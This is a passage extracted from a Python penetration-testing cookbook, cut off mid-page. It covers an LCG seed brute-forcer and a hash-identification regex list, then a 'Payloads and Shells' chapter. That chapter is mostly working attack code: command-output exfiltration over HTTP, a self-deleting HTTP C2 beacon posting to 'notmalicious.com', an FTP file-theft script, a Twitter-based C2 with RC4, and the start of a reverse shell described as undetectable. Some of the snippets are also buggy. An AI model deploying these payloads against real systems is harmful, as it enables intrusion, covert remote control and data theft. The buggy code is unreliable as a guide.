            "text": "Chapter 7\n157\nprint \"Starting attempt to brute\"\nfor i in range(1, 99999999):\n    a = str((A * int(str(i)+'00') + C) % 2**M)\n    if a[-2:] == \"47\":\n        b = str((A * int(a) + C) % 2**M)\n        if b[-2:] == \"46\":\n            c = str((A * int(b) + C) % 2**M)\n            if c[-2:] == \"57\":\n                d = str((A * int(c) + C) % 2**M)\n                if d[-2:] == \"56\":\n                    e = str((A * int(d) + C) % 2**M)\n                    if e[-2:] == \"07\":\n                        f = str((A * int(e) + C) % 2**M)\n                        if f[-2:] == \"38\":\n                            g = str((A * int(f) + C) % 2**M)\n                            if g[-2:] == \"81\":\n                                h = str((A * int(g) + C) % 2**M)\n                                if h[-2:] == \"32\":\n                                    j = str((A * int(h) + C) %  \n                                    2**M)\n                                    if j[-2:] == \"19\":\n                                        k = str((A * int(j) + C) %  \n                                        2**M)\n                                        if k[-2:] == \"70\":\n                                            l = str((A * int(k) +  \n                                            C) % 2**M)\n                                            if l[-2:] == \"53\":\n                                                print \"potential  \n                                                number found: \"+l\nprint \"next 9 values are:\"\nfor i in range(1, 10):\n    l = str((A * int(l) + C) % 2**M)\n    print l[-2:]\nHow it works…\nWe set our three values, the increment, the multiplier, and the modulo as C, A, and M \nrespectively:\nC = \"\"\nA = \"\"\nM = \"\"\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 181,
            "text": "Encryption and Encoding\n158\nWe then declare the range for the possible size of the seed, which in this case would be \nbetween one and eight digits long:\nfor i in range(1, 99999999):\nWe then perform our first LCG transformation and generate possible values with the first  \nvalue taken from the web page marked highlighted in the following example:\na = str((A * int(str(i)+'00') + C) % 2**M)\nWe take the second value generated by the web page and check the outcome of this \ntransform against that:\n    if a[-2:] == \"47\":\nIf it works, we then perform the next transform with the numbers that matched the  \nfirst transform:\n        b = str((A * int(a) + C) % 2**M)\nWe repeat this process 10 times here, but it can be reproduced as many times as  \nnecessary until we find an output that has matched all the numbers so far. We print an  \nalert with that number:\nprint \"potential number found: \"+l\nWe then repeat the process 10 more times, with that number as the seed to generate the  \nnext 10 values to allow us to predict the new values.\nIdentifying hashes\nNearly every web application you use that stores a password of yours, should store your \ncredentials in some form of hashed format for added security. A good hashing system in place \nfor user passwords can be very useful in case your database is ever stolen, as this will extend \nthe time taken for a hacker to crack them.\nFor this reason, we have numerous different hashing methods, some of which are reused \nthroughout different applications, such as MD5 and SHA hashes, but some such as Des(UNIX) \nare less commonly found. Because of this, it is a good idea to be able to match a hash value \nto the hashing function it belongs to. We cannot base this purely on hash length as many \nhashing functions share the same length, so to aid us with this we are going to use regular \nexpressions (Regex). This allows us to define the length, the characters used, and whether \nany numerical values are present.\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 182,
            "text": "Chapter 7\n159\nGetting ready\nFor this script, we will only be using the re module.\nHow to do it…\nAs previously mentioned, we are going to be basing the script around Regex values and using \nthose to map input hashes to the stored hash values. This will allow us to very quickly pick out \npotential matches for the hashes:\nimport re\ndef hashcheck (hashtype, regexstr, data):\n    try:\n        valid_hash = re.finditer(regexstr, data)\n        result = [match.group(0) for match in valid_hash]\n        if result: \n            return \"This hash matches the format of: \" + hashtype\n    except: pass\nstring_to_check = raw_input('Please enter the hash you wish to  \n  check: ')\nhashes = (\n(\"Blowfish(Eggdrop)\", r\"^\\+[a-zA-Z0-9\\/\\.]{12}$\"),\n(\"Blowfish(OpenBSD)\", r\"^\\$2a\\$[0-9]{0,2}?\\$[a-zA-Z0-  \n  9\\/\\.]{53}$\"),\n(\"Blowfish crypt\", r\"^\\$2[axy]{0,1}\\$[a-zA-Z0-9./]{8}\\$[a-zA-Z0-  \n  9./]{1,}$\"),\n(\"DES(Unix)\", r\"^.{0,2}[a-zA-Z0-9\\/\\.]{11}$\"),\n(\"MD5(Unix)\", r\"^\\$1\\$.{0,8}\\$[a-zA-Z0-9\\/\\.]{22}$\"),\n(\"MD5(APR)\", r\"^\\$apr1\\$.{0,8}\\$[a-zA-Z0-9\\/\\.]{22}$\"),\n(\"MD5(MyBB)\", r\"^[a-fA-F0-9]{32}:[a-z0-9]{8}$\"),\n(\"MD5(ZipMonster)\", r\"^[a-fA-F0-9]{32}$\"),\n(\"MD5 crypt\", r\"^\\$1\\$[a-zA-Z0-9./]{8}\\$[a-zA-Z0-9./]{1,}$\"),\n(\"MD5 apache crypt\", r\"^\\$apr1\\$[a-zA-Z0-9./]{8}\\$[a-zA-Z0-  \n  9./]{1,}$\"),\n(\"MD5(Joomla)\", r\"^[a-fA-F0-9]{32}:[a-zA-Z0-9]{16,32}$\"),\n(\"MD5(Wordpress)\", r\"^\\$P\\$[a-zA-Z0-9\\/\\.]{31}$\"),\n(\"MD5(phpBB3)\", r\"^\\$H\\$[a-zA-Z0-9\\/\\.]{31}$\"),\n(\"MD5(Cisco PIX)\", r\"^[a-zA-Z0-9\\/\\.]{16}$\"),\n(\"MD5(osCommerce)\", r\"^[a-fA-F0-9]{32}:[a-zA-Z0-9]{2}$\"),\n(\"MD5(Palshop)\", r\"^[a-fA-F0-9]{51}$\"),\n(\"MD5(IP.Board)\", r\"^[a-fA-F0-9]{32}:.{5}$\"),\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 183,
            "text": "Encryption and Encoding\n160\n(\"MD5(Chap)\", r\"^[a-fA-F0-9]{32}:[0-9]{32}:[a-fA-F0-9]{2}$\"),\n(\"Juniper Netscreen/SSG (ScreenOS)\", r\"^[a-zA-Z0-9]{30}:[a-zA-Z0-  \n  9]{4,}$\"),\n(\"Fortigate (FortiOS)\", r\"^[a-fA-F0-9]{47}$\"),\n(\"Minecraft(Authme)\", r\"^\\$sha\\$[a-zA-Z0-9]{0,16}\\$[a-fA-F0-  \n  9]{64}$\"),\n(\"Lotus Domino\", r\"^\\(?[a-zA-Z0-9\\+\\/]{20}\\)?$\"),\n(\"Lineage II C4\", r\"^0x[a-fA-F0-9]{32}$\"),\n(\"CRC-96(ZIP)\", r\"^[a-fA-F0-9]{24}$\"),\n(\"NT crypt\", r\"^\\$3\\$[a-zA-Z0-9./]{8}\\$[a-zA-Z0-9./]{1,}$\"),\n(\"Skein-1024\", r\"^[a-fA-F0-9]{256}$\"),\n(\"RIPEMD-320\", r\"^[A-Fa-f0-9]{80}$\"),\n(\"EPi hash\", r\"^0x[A-F0-9]{60}$\"),\n(\"EPiServer 6.x < v4\", r\"^\\$episerver\\$\\*0\\*[a-zA-Z0-9]{22}==\\*[a-  \n  zA-Z0-9\\+]{27}$\"),\n(\"EPiServer 6.x >= v4\", r\"^\\$episerver\\$\\*1\\*[a-zA-Z0-  \n  9]{22}==\\*[a-zA-Z0-9]{43}$\"),\n(\"Cisco IOS SHA256\", r\"^[a-zA-Z0-9]{43}$\"),\n(\"SHA-1(Django)\", r\"^sha1\\$.{0,32}\\$[a-fA-F0-9]{40}$\"),\n(\"SHA-1 crypt\", r\"^\\$4\\$[a-zA-Z0-9./]{8}\\$[a-zA-Z0-9./]{1,}$\"),\n(\"SHA-1(Hex)\", r\"^[a-fA-F0-9]{40}$\"),\n(\"SHA-1(LDAP) Base64\", r\"^\\{SHA\\}[a-zA-Z0-9+/]{27}=$\"),\n(\"SHA-1(LDAP) Base64 + salt\", r\"^\\{SSHA\\}[a-zA-Z0-  \n  9+/]{28,}[=]{0,3}$\"),\n(\"SHA-512(Drupal)\", r\"^\\$S\\$[a-zA-Z0-9\\/\\.]{52}$\"),\n(\"SHA-512 crypt\", r\"^\\$6\\$[a-zA-Z0-9./]{8}\\$[a-zA-Z0-9./]{1,}$\"),\n(\"SHA-256(Django)\", r\"^sha256\\$.{0,32}\\$[a-fA-F0-9]{64}$\"),\n(\"SHA-256 crypt\", r\"^\\$5\\$[a-zA-Z0-9./]{8}\\$[a-zA-Z0-9./]{1,}$\"),\n(\"SHA-384(Django)\", r\"^sha384\\$.{0,32}\\$[a-fA-F0-9]{96}$\"),\n(\"SHA-256(Unix)\", r\"^\\$5\\$.{0,22}\\$[a-zA-Z0-9\\/\\.]{43,69}$\"),\n(\"SHA-512(Unix)\", r\"^\\$6\\$.{0,22}\\$[a-zA-Z0-9\\/\\.]{86}$\"),\n(\"SHA-384\", r\"^[a-fA-F0-9]{96}$\"),\n(\"SHA-512\", r\"^[a-fA-F0-9]{128}$\"),\n(\"SSHA-1\", r\"^({SSHA})?[a-zA-Z0-9\\+\\/]{32,38}?(==)?$\"),\n(\"SSHA-1(Base64)\", r\"^\\{SSHA\\}[a-zA-Z0-9]{32,38}?(==)?$\"),\n(\"SSHA-512(Base64)\", r\"^\\{SSHA512\\}[a-zA-Z0-9+]{96}$\"),\n(\"Oracle 11g\", r\"^S:[A-Z0-9]{60}$\"),\n(\"SMF >= v1.1\", r\"^[a-fA-F0-9]{40}:[0-9]{8}&\"),\n(\"MySQL 5.x\", r\"^\\*[a-f0-9]{40}$\"),\n(\"MySQL 3.x\", r\"^[a-fA-F0-9]{16}$\"),\n(\"OSX v10.7\", r\"^[a-fA-F0-9]{136}$\"),\n(\"OSX v10.8\", r\"^\\$ml\\$[a-fA-F0-9$]{199}$\"),\n(\"SAM(LM_Hash:NT_Hash)\", r\"^[a-fA-F0-9]{32}:[a-fA-F0-9]{32}$\"),\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 184,
            "text": "Chapter 7\n161\n(\"MSSQL(2000)\", r\"^0x0100[a-f0-9]{0,8}?[a-f0-9]{80}$\"),\n(\"MSSQL(2005)\", r\"^0x0100[a-f0-9]{0,8}?[a-f0-9]{40}$\"),\n(\"MSSQL(2012)\", r\"^0x02[a-f0-9]{0,10}?[a-f0-9]{128}$\"),\n(\"TIGER-160(HMAC)\", r\"^[a-f0-9]{40}$\"),\n(\"SHA-256\", r\"^[a-fA-F0-9]{64}$\"),\n(\"SHA-1(Oracle)\", r\"^[a-fA-F0-9]{48}$\"),\n(\"SHA-224\", r\"^[a-fA-F0-9]{56}$\"),\n(\"Adler32\", r\"^[a-f0-9]{8}$\"),\n(\"CRC-16-CCITT\", r\"^[a-fA-F0-9]{4}$\"),\n(\"NTLM)\", r\"^[0-9A-Fa-f]{32}$\"),\n)\ncounter = 0\nfor h in hashes:\n    text = hashcheck(h[0], h[1], string_to_check)\n    if text is not None:\n        counter += 1\n        print text\nif counter == 0:\n    print \"Your input hash did not match anything, sorry!\"\nHow it works…\nAfter we import the re module, which we are going to be using, we start to build our first \nblock of code, which will be the heart of our script. We will try to use conventional naming \nthroughout the script to make it more manageable further on. We pick the name hashcheck \nfor this reason. We use the name hashtype to represent the names of the hashes that are \nupcoming in the Regex block of code, we use regexstr to represent the Regex, and we \nfinally use data.\nWe create a string called valid_hash and give that the value of the iteration values after \ngoing through the data, which will only happen if we have a valid match. This can be seen \nfurther down where we give the value result the name of matching hash values that we detect \nusing the Regex. We finally print the match if one, or more, is found and add our except \nstatement to the end:\ndef hashcheck (hashtype, regexstr, data):\n    try:\n        valid_hash = re.finditer(regexstr, data)\n        result = [match.group(0) for match in valid_hash]\n        if result: \n            return \"This hash matches the format of: \" + hashtype\n    except: pass\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 185,
            "text": "Encryption and Encoding\n162\nWe then ask the user for their input, so we have something to match against the Regex.  \nThis is done as normal:\nstring_to_check = raw_input('Please enter the hash you wish to  \n  check: ')\nOnce this is done, we can move onto the nitty gritty Regex-fu. The reason we use Regex is so \nthat we can differentiate between the different hashes, as they have different lengths and \ncharacter sets. This is extremely helpful for MD5 hashes, as there are numerous different \ntypes of MD5 hashes, such as phpBB3 and MyBB forums.\nWe name the set of Regexs something logical like hashes, and then define them:\nhashes = (\n(\"Blowfish(Eggdrop)\", r\"^\\+[a-zA-Z0-9\\/\\.]{12}$\"),\n(\"Blowfish(OpenBSD)\", r\"^\\$2a\\$[0-9]{0,2}?\\$[a-zA-Z0-  \n  9\\/\\.]{53}$\"),\n(\"Blowfish crypt\", r\"^\\$2[axy]{0,1}\\$[a-zA-Z0-9./]{8}\\$[a-zA-Z0-  \n  9./]{1,}$\"),\n(\"DES(Unix)\", r\"^.{0,2}[a-zA-Z0-9\\/\\.]{11}$\"),\n(\"MD5(Unix)\", r\"^\\$1\\$.{0,8}\\$[a-zA-Z0-9\\/\\.]{22}$\"),\n(\"MD5(APR)\", r\"^\\$apr1\\$.{0,8}\\$[a-zA-Z0-9\\/\\.]{22}$\"),\n(\"MD5(MyBB)\", r\"^[a-fA-F0-9]{32}:[a-z0-9]{8}$\"),\n(\"MD5(ZipMonster)\", r\"^[a-fA-F0-9]{32}$\"),\n(\"MD5 crypt\", r\"^\\$1\\$[a-zA-Z0-9./]{8}\\$[a-zA-Z0-9./]{1,}$\"),\n(\"MD5 apache crypt\", r\"^\\$apr1\\$[a-zA-Z0-9./]{8}\\$[a-zA-Z0-  \n  9./]{1,}$\"),\n(\"MD5(Joomla)\", r\"^[a-fA-F0-9]{32}:[a-zA-Z0-9]{16,32}$\"),\n(\"MD5(Wordpress)\", r\"^\\$P\\$[a-zA-Z0-9\\/\\.]{31}$\"),\n(\"MD5(phpBB3)\", r\"^\\$H\\$[a-zA-Z0-9\\/\\.]{31}$\"),\n(\"MD5(Cisco PIX)\", r\"^[a-zA-Z0-9\\/\\.]{16}$\"),\n(\"MD5(osCommerce)\", r\"^[a-fA-F0-9]{32}:[a-zA-Z0-9]{2}$\"),\n(\"MD5(Palshop)\", r\"^[a-fA-F0-9]{51}$\"),\n(\"MD5(IP.Board)\", r\"^[a-fA-F0-9]{32}:.{5}$\"),\n(\"MD5(Chap)\", r\"^[a-fA-F0-9]{32}:[0-9]{32}:[a-fA-F0-9]{2}$\"),\n[...cut out...]\n(\"NTLM)\", r\"^[0-9A-Fa-f]{32}$\"),\n)\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 186,
            "text": "Chapter 7\n163\nWe then need to find a way to return the data to the user in a manageable way, without letting \nthem know each time a non-match is found. We do this by creating a counter. We set the \nvalue of this counter to 0 and continue. We then create a function named text, which will \nbecome the value of the name of the hash, should a match be found. An if statement is \nthen used to prevent the unwanted messages we previously mentioned. We tell the script that \nif text is not none then a match has been found, so we raise the value of the counter \nand print the text. Using the counter idea means any non-matches found will not increase the \ncounter and therefore will not be printed to the user:\ncounter = 0\nfor h in hashes:\n    text = hashcheck(h[0], h[1], string_to_check)\n    if text is not None:\n        counter += 1\n        print text\nWe finish the script off by letting the user know if there is no match, in the most polite  \nway possible!\nif counter == 0:\n    print \"Your input hash did not match anything, sorry!\"\nHere are some examples of the script in action:\nPlease enter the hash you wish to check: ok\nNo Matches\nThe preceding result finds no matches as there is no hashing system listed that outputs  \ntwo character strings. The following is an example of a successful find:\nPlease enter the hash you wish to check:  \n  fd7a4c43ad7c20dbea0dc6dacc12ef6c36c2c382a0111c92f24244690eba65a2\nThis hash matches the format of: SHA-256\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 187,
            "text": "www.it-ebooks.info\n"
        },
        {
            "page_number": 188,
            "text": "165\n8\nPayloads and Shells\nIn this chapter, we will cover the following topics:\nf\nf\nExtracting data through HTTP requests\nf\nf\nCreating an HTTP C2\nf\nf\nCreating an FTP C2\nf\nf\nCreating an Twitter C2\nf\nf\nCreating a simple Netcat shell\nIntroduction\nIn this chapter, we will be looking at the creation of reverse shells and payloads in Python. \nOnce an upload vulnerability has been identified on a Linux or Mac system, Python payloads \nare in the sweet spot of next steps. They are easy to craft or customize to match a specific \nsystem, have clear functionality, and best of all, almost all Mac and Linux systems come with \nPython 2.7 by default.\nExtracting data through HTTP requests\nThe first script we'll being creating will use a very simple technique to extract data from the \ntarget server. There are three basic steps: run the commands on the target, transfer the \noutput through HTTP requests to the attacker, and view the results.\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 189,
            "text": "Payloads and Shells\n166\nGetting Ready\nThis recipe requires a web server that is accessible on the attacker's side in order to receive \nthe HTTP request from the target. Luckily, Python has a really simple way to start a web server:\n$ Python –m SimpleHTTPServer\nThis will start a HTTP web server on port 8000, serving up any files in the current directory. \nAny requests it receives are printed out directly to the console, making this a really quick way \nto grab the data and are therefore a nice addition to this script.\nHow to do it…\nThis is the script that will run various commands on the server and transfer the output \nthrough a web request:\nimport requests\nimport urllib\nimport subprocess\nfrom subprocess import PIPE, STDOUT\ncommands = ['whoami','hostname','uname']\nout = {}\nfor command in commands:\n    try:\n            p = subprocess.Popen(command, stderr=STDOUT,  \n            stdout=PIPE)\n            out[command] = p.stdout.read().strip()\n    except:\n        pass\nrequests.get('http://localhost:8000/index.html?' +  \n  urllib.urlencode(out))\nHow it works…\nAfter the imports, the first part of the script creates an array of commands:\ncommands = ['whoami','hostname','uname']\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 190,
            "text": "Chapter 8\n167\nThis is an example of three standard Linux commands that could give useful information  \nback to the attacker. Note that there's an assumption here that the target server is running \nLinux. Use scripts from the previous chapters for reconnaissance, in order to determine  \nthe target's operating system and replace the commands in this array with Windows \nequivalents, if necessary.\nNext, we have the main for loop:\n            p = subprocess.Popen(command, stderr=STDOUT,  \n            stdout=PIPE)\n            out[command] = p.stdout.read().strip()\nThis part of code executes the command and grabs the output from subprocess (piping both \nstandard out and standard error into a single subprocess.PIPE). It then adds the result to \nthe out dictionary. Notice that we use a try and except statement here, as any command \nthat fails to run will cause an exception.\nFinally, we have a single HTTP request:\nrequests.get('http://localhost:8000/index.html?' +  \n  urllib.urlencode(out))\nThis uses urllib.encode to transform the dictionary into URL encoded key/value pairs. \nThis means that any characters that could affect the URL, for example, & or =, will be \nconverted to their URL encoded equivalent, for example, %26 and %3D.\nNote that there will be no output on the script side; everything is passed over in the HTTP \nrequest to the attacker's web server (the example uses localhost on port 8000). The GET \nrequest looks like the following:\nCreating an HTTP C2\nThe issue with brazenly presenting your commands in URLs is that even a half-asleep log \nanalyst will spot it. There are multiple methods of hiding requests, but when you don't know \nwhat the response text is going to look like, you need to provide a solid method of disguising \nthe output and returning it to your server.\nWe will create a script that masks command and control activities as HTTP traffic, takes \ncommands from comments on a web page, and returns the output into a guestbook.\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 191,
            "text": "Payloads and Shells\n168\nGetting Started\nFor this, you will need a functioning web server with two pages, one to host your comments \nand one to host your retrieval page.\nYour comment page should just have standard content. For this, I'm using the Nginx default \nhome page and adding comments to it at the end. A comment should be expressed as:\n<!--cmdgoeshere-->\nThe retrieval page can be as simple as:\n<?php\n$host='localhost';\n$username='user';\n$password='password';\n$db_name=\"data\";\n$tbl_name=\"data\";\n$comment = $_REQUEST['comment'];\nmysql_connect($host, $username, $password) or die(\"Cannot contact  \n  server\");\nmysql_select_db($db_name)or die(\"Cannot find DB\");\n$sql=\"INSERT INTO $tbl_name VALUES('$comment')\";\n$result=mysql_query($sql);\nmysql_close();\n?>\nBasically, what this PHP does is take an incoming value in the POST request named  \ncomment and places it in a database. It's very rudimentary and does not distinguish  \nbetween multiple incoming commands if you have multiple shells going.\nHow to do it…\nThe script we will be using is as follows:\nimport requests\nimport re\nimport subprocess\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 192,
            "text": "Chapter 8\n169\nimport time\nimport os\nwhile 1:\n  req = requests.get(\"http://127.0.0.1\")\n  comments = re.findall('<!--(.*)-->',req.text)\n  for comment in comments:\n    if comment = \" \":\n      os.delete(__file__)\n    else:\n      try:\n        response = subprocess.check_output(comment.split())\n      except:\n        response = \"command fail\"\n  data={\"comment\":(''.join(response)).encode(\"base64\")}\n  newreq = requests.post(\"http://notmalicious.com/c2.php\",  \n  data=data)\n  time.sleep(30)\nThe following shows an example of the output produced when using this script:\nName:  \n  TGludXggY2FtLWxhcHRvcCAzLjEzLjAtNDYtZ2VuZXJpYyAjNzktVWJ1bnR1IFNNU  \n  CBUdWUgTWFyIDEwIDIwOjA2OjUwIFVUQyAyMDE1IHg4Nl82NCB4ODZfNjQgeDg2X  \n  zY0IEdOVS9MaW51eAo= Comment:\nName:  \n  cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFl  \n  bW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9i  \n  aW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jp  \n  bi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5 bmM6L2JpbjovYmluL3N5bmMKZ  \n  Comment:\nHow it works…\nAs ever, we import the necessary libraries and get the script going:\nimport requests\nimport re\nimport subprocess\nimport time\nimport os\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 193,
            "text": "Payloads and Shells\n170\nAs this script has a built-in self deletion method, we can set it up to run forever with the \nfollowing loop:\nwhile 1:\nWe make a request to check whether there are any comments on our preconfigured page.  \nIf there are, we put them in a list. We use very basic regex to perform this check:\n  req = requests.get(\"http://127.0.0.1\")\n  comments = re.findall('<!--(.*)-->',req.text)\nThe first thing we do is check for an empty comment. This signifies to the script that it should \ndelete itself, a very important mechanism for hands-off C2 scripts. If you wish the script to \ndelete itself, just leave an empty comment on your page. The script deletes itself by looking  \nfor its own name and removing that name:\nfor comment in comments:\n    if comment = \" \":\n      os.delete(__file__)\nIf the comment isn't blank, we attempt to pass it to the system with the subprocess \ncommand. It's important that you use .split() on the command to account for how \nsubprocess handles multi-part commands. We use .check_output to return whatever \noutput the command gives directly to the variable that we assign:\nelse:\n      try:\n        response = subprocess.check_output(comment.split())\nIf the command fails, we set the response value to be command failed:\n      except:\n        response = \"command fail\"\nWe take the response variable and assign it to a key that matches our PHP script in a \ndictionary. In this circumstance, the field name is comment and thus we assign our output \nto a comment. We base64 the output in order to account for any random variables, such as \nspaces or code that may interfere with our script:\ndata={\"comment\":(''.join(response)).encode(\"base64\")}\nNow the data has been assigned, we send it in a POST request to our preconfigured server \nand wait 30 seconds to again check for further instructions in the comments:\nnewreq = requests.post(\"http://127.0.0.1/addguestbook.php\",  \n  data=data)\n  time.sleep(30)\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 194,
            "text": "Chapter 8\n171\nCreating an FTP C2\nThis script is a quick and dirty file-theft tool. It runs in a straight line up the directories, \nnabbing everything it comes into contact with. It then exports these to an FTP directory that \nit's pointed at. In situations where you can drop a file and want to quickly get the contents of \nthe server, this is ideal as a starting point.\nWe will create a script that connects to an FTP, grabs the files in the current directory, \nand exports them to the FTP. It then jumps up into the next directory and repeats. When it \nencounters two directory listings that are the same (that is, it has hit the root), it stops.\nGetting Started\nFor this, you will need a functioning FTP server. I'm using vsftpd, but you may use whatever \nyou please. You'll need to either hard code the credentials into the script (not advisable) or \nsend them with the credentials as flags.\nHow to do it…\nThe script we will be using is as follows:\nfrom ftplib import FTP\nimport time\nimport os\nuser = sys.argv[1]\npw = sys.argv[2]\nftp = FTP(\"127.0.0.1\", user, pw)\nfilescheck = \"aa\"\nloop = 0\nup = \"../\"\nwhile 1:\n  files = os.listdir(\"./\"+(i*up))\n  print files\n  for f in files:\n    try:\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 195,
            "text": "Payloads and Shells\n172\n      fiile = open(f, 'rb')\n      ftp.storbinary('STOR ftpfiles/00'+str(f), fiile)\n      fiile.close()\n    else:\n      pass\n  if filescheck == files:\n    break\n  else:\n    filescheck = files\n    loop = loop+1\n    time.sleep(10)\nftp.close()\nHow it works…\nAs ever, we import our libraries and set up our variables. We have set the username and \npassword as sys.argv to avoid having to hard code and therefore expose our systems:\nfrom ftplib import FTP\nimport time\nimport os\nuser = sys.argv[1]\npw = sys.argv[2]\nWe then connect to our FTP with an IP address and the credentials we set up through the \nflags. You can also pass the IP as sys.argv to avoid hard-coding:\nftp = FTP(\"127.0.0.1\", user, pw)\nI've set up a nonce value that won't match the first directory for the directory checking \nmethod. We also set the loop as 0 and configure the \"up directory\" command as a variable, \nsimilar to the directory traversal script in Chapter 3, Vulnerability Identification:\nfilescheck = \"aa\"\nloop = 0\nup = \"../\"\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 196,
            "text": "Chapter 8\n173\nWe then create our main loop to repeat forever and create our chosen directory call. We list \nthe files in the directory we call and assign it a variable. You can opt to print the file listing \nhere if you wish, as I have for diagnostic purposes, but it makes no difference:\nwhile 1:\n  files = os.listdir(\"./\"+(i*up))\n  print files\nFor each file detected in the directory, we attempt to open it. It's important we open the file \nwith rb as this allows it to be read as a binary, making it available to be transferred as a \nbinary. If it's openable, we transfer it to the FTP with the storbinary command. We then \nclose the file to complete the transaction:\n  try:\n      fiile = open(f, 'rb')\n      ftp.storbinary('STOR ftpfiles/00'+str(f), fiile)\n      fiile.close()\nIf, for whatever reason, we can't open or transfer the file, we simply move on to the next  \none in the list:\n  else:\n      pass\nWe then check to see whether we have changed directories since the last command.  \nIf not, we break out of the main loop:\nif filescheck == files:\n    break\nIf the directory listing doesn't match, we set the filecheck variable to match the current \ndirectory, iterate the loop by 1, and sleep for 10 seconds to avoid spamming the server:\nelse:\n    filescheck = files\n    loop = loop+1\n    time.sleep(10)\nFinally, once everything else is complete, we close our connection to the FTP server:\nftp.close()\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 197,
            "text": "Payloads and Shells\n174\nCreating an Twitter C2\nUp to a certain point, requesting random pages on the Internet is passable but once a \nSecurity Operation Centre (SOC) analyst takes a closer look at all the data that's vanishing \nup the tubes, it's going to be obvious that the requests are going to a dodgy site and therefore \nare likely associated with malicious traffic. Fortunately, social media helps out in this regard \nand allows us to hide data in plain sight.\nWe will create a script that connects to Twitter, reads tweets, performs commands based  \non those tweets, encrypts the response data, and posts it to Twitter. We'll also make a  \ndecode script.\nGetting Started\nFor this, you will need a Twitter account with an API key.\nHow to do it…\nThe script we will be using is as follows:\nfrom twitter import *\nimport os\nfrom Crypto.Cipher import ARC4\nimport subprocess\nimport time\ntoken = ''\ntoken_key = ''\ncon_secret = ''\ncon_secret_key = ''\nt = Twitter(auth=OAuth(token, token_key, con_secret,  \n  con_secret_key))\nwhile 1:\n  user = t.statuses.user_timeline()\n  command = user[0][\"text\"].encode('utf-8')\n  key = user[1][\"text\"].encode('hex')\n  enc = ARC4.new(key)\n  response = subprocess.check_output(command.split())\n  enres = enc.encrypt(response).encode(\"base64\")\n  for i in xrange(0, len(enres), 140):\n          t.statuses.update(status=enres[i:i+140])\n  time.sleep(3600)\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 198,
            "text": "Chapter 8\n175\nThe decoding script is as follows:\nfrom Crypto.Cipher import ARC4\nkey = \"\".encode(\"hex\")\nresponse = \"\"\nenc = ARC4.new(key)\nresponse = response.decode(\"base64\")\nprint enc.decrypt(response)\nAn example of what the script in progress looks like is as follows:\nHow it works…\nWe import our libraries, as usual. There are numerous Twitter Python libraries; I'm just using \nthe standard twitter API available at https://code.google.com/p/python-twitter/. \nThe code is as follows:\nfrom twitter import *\nimport os\nfrom Crypto.Cipher import ARC4\nimport subprocess\nimport time\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 199,
            "text": "Payloads and Shells\n176\nTo meet the Twitter authentication requirements, we need to need to retrieve the App token, \nApp secret, User token, and User secret from our App page at developer.twitter.com. \nWe assign them to variables and set up our connection to the Twitter API:\ntoken = ''\ntoken_key = ''\ncon_secret = ''\ncon_secret_key = ''\nt = Twitter(auth=OAuth(token, token_key, con_secret,  \n  con_secret_key))\nWe set up an infinite loop:\nwhile 1:\nWe call the user timeline of the account that has been set up. It's important that this App has \nboth read and write privileges for the Twitter account. We then take the last text of the most \nrecent tweet. We need to encode it as UTF-8 as there are often characters that the normal \nencoding won't be able to handle:\nuser = t.statuses.user_timeline()\ncommand = user[0][\"text\"].encode('utf-8')\nWe then take the oxt-last tweet to use as the key for our encryption. We encode it as hex to \navoid there being things like spaces matching with spaces:\nkey = user[1][\"text\"].encode('hex')\nenc = ARC4.new(key)\nWe carry out the action by using the subprocess function. We encrypt the output with preset \nup XORing encryption and encode it as base64:\nresponse = subprocess.check_output(command.split())\nenres = enc.encrypt(response).encode(\"base64\")\nWe split the encrypted and encoded response into 140 character chunks, to allow for the \nTwitter character cap. For each chunk, we create a Twitter status:\nfor i in xrange(0, len(enres), 140):\n  t.statuses.update(status=enres[i:i+140])\nBecause each step requires two tweets, I've left an hour gap between each command check, \nbut it's easy to change this for yourself:\ntime.sleep(3600)\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 200,
            "text": "Chapter 8\n177\nFor the decoding, import the RC4 library, set your key tweet as the key, and put your \nreassembled base64 as the response:\nfrom Crypto.Cipher import ARC4\nkey = \"\".encode(\"hex\")\nresponse = \"\"\nSet up a new RC4 code with the key, decode the data from base64, and decrypt it with  \nthe key:\nenc = ARC4.new(key)\nresponse = response.decode(\"base64\")\nprint enc.decrypt(response)\nCreating a simple Netcat shell\nThe following script we're going to create leverages the use of raw sockets to exfiltrate \ndata from a network. The general idea of this shell is to create a connection between the \ncompromised machine and your own machine through a Netcat (or other program) session \nand send commands to the machine this way.\nThe beauty of this Python script is the undetectable nature of it, as it appears as a completely \nlegitimate script.\nHow to do it…\nThis is the script that will establish a connection through Netcat and read the input:\nimport socket\nimport subprocess\nimport sys\nimport time\nHOST = '172.16.0.2'    # Your attacking machine to connect back to\nPORT = 4444           # The port your attacking machine is listening \non\ndef connect((host, port)):\n   go = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n   go.connect((host, port))\n   return go\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 201,
